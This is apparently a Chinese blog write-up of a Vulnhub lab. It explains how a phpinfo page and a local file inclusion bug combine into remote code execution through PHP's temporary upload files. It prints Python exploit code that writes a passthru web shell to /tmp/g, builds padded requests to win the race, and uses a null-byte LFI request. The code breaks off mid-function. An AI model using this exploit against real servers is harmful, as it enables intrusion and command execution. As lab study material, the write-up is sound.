PHP Local File Inclusion RCE with PHPINFO

该实验为Vulnhub上的一个漏洞环境,利用phpinfo与LFI(本地文件包含)漏洞,实现RCE。

这里用到了如下几个条件:
1.php的config配置文件里file_uploads=on则,php会接收post请求传输的文件,并临时存储在一个目录中,当该post请求处理结束后,服务端就会将该临时文件删除;
2.php需要一个LFI漏洞,方便我们去访问上传的恶意的临时文件,临时文件中写好了恶意的php脚本。

exp的实现思路:
1.以post的形式传输一个文件给phpinfo,同时在请求头中写入大量的垃圾数据。

  • 传给phpinfo的原因是,在phpinfo的页面里会显示PHP变量的值,包括_GET、_POST、_FILES所获取的变量值,这个特点能帮助我们找到临时文件被存储的路径,方便我们后面使用LFI去访问这个临时文件,如图1;
  • 请求头写入大量垃圾数据的原因是,一旦该请求被处理结束(包括发送完响应),临时文件就会被删除,为了能得到足够的时间来上传恶意文件—>
    访问恶意文件——> 执行恶意文件里的php脚本,所以我们希望延长服务端发送响应的时间,因此在请求头写入大量垃圾数据。
    在这里插入图片描述![在这里插入图片描述](https://img-blog.csdnimg.cn/20210506205158947.png?x-oss-process=imag/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl8zOD 图一

2.在phpinfo所发送的响应中,寻找字段[tmp_name],如果存在,就说明临时文件写入成功了,再用后跟的路径/tmp/phpjcmFa3,用LFI漏洞访问,执行临时文件的php脚本。

3.php脚本中有一个tag,纯文本形式,如果在执行临时文件后,对应的响应中有这个tag,就说明所执行的临时文件是对的。

代码详情:
该函数用于构造所发送的请求,

def setup(host,post):
    TAG = "Security Test"

    PAYLAOD = """%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    REQ1_DATA = """---------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
---------------------------7dbff1ded0714--\r""" % PAYLAOD
    padding = "A" * 5000 #大量的垃圾数据
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding +"""\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r

%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    LFIREQ = """GET /lfi.php?load=%s%%00 HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1,TAG,LFIREQ) #REQ1是对phpinfo的请求

phpInfoLFI函数,首先发请求给phpinfo,获得[tmp_name]后面的临时文件目录,再取访问LFI,如果响应中包含tag,则临时文件执行成功。

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值